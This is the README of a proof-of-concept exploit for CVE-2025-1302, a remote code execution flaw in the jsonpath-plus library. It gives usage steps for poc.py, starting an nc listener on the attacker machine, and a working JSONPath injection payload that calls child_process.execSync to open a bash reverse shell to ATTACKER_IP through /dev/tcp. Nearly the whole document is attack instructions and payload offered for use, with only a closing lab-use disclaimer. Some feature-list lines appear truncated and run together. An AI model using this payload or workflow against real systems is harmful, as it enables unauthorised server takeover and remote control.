
PoC exploit and vulnerable server demo for CVE-2025-1302 in jsonpath-plus.
PoC Script Name: poc.py
A proof-of-concept exploit script for CVE-2025-1302, which targets an RCE vulnerability in the jsonpath-plus library. When run against a vulnerable service endpoint, the script attempts to trigger remote code execution via a JSONPath payload and establish a reverse shell back to the attacker.
--method or --no-fallback flags.{ip} and {port} templating.tqdm progress bars.--output.Clone this repository:
git clone https://github.com/yourorg/jsonpath-rce-poc.git
cd jsonpath-rce-poc
Install dependencies (requires Python 3.6+):
pip install -r requirements.txt
Start a listener on your attacker machine (replace port as needed):
nc -lvnp 9999
Run the PoC:
python3 poc.py \
--url http://TARGET_HOST:PORT/query \
--ip ATTACKER_IP --port 9999 \
[--payload-file payloads.txt] \
[--delay 5] \
[--method AUTO|POST|GET] \
[--no-fallback] \
[--output results.json]
--payload-file: File containing one JSONPath payload per line. Use {ip} and {port} placeholders.--delay: Seconds to wait before sending payloads (shows countdown).--method: Force POST, GET, or AUTO (default).--no-fallback: Shorthand to skip any GET retry (equivalent to --method POST).--output: Path to save JSON log of attempts.$[?(@.constructor.constructor("require(\"child_process\").execSync(\"bash -i >& /dev/tcp/{ip}/{port} 0>&1\")")())]
Use this script only in controlled lab environments against systems you own or have explicit permission to test. Abuse may be illegal and unethical.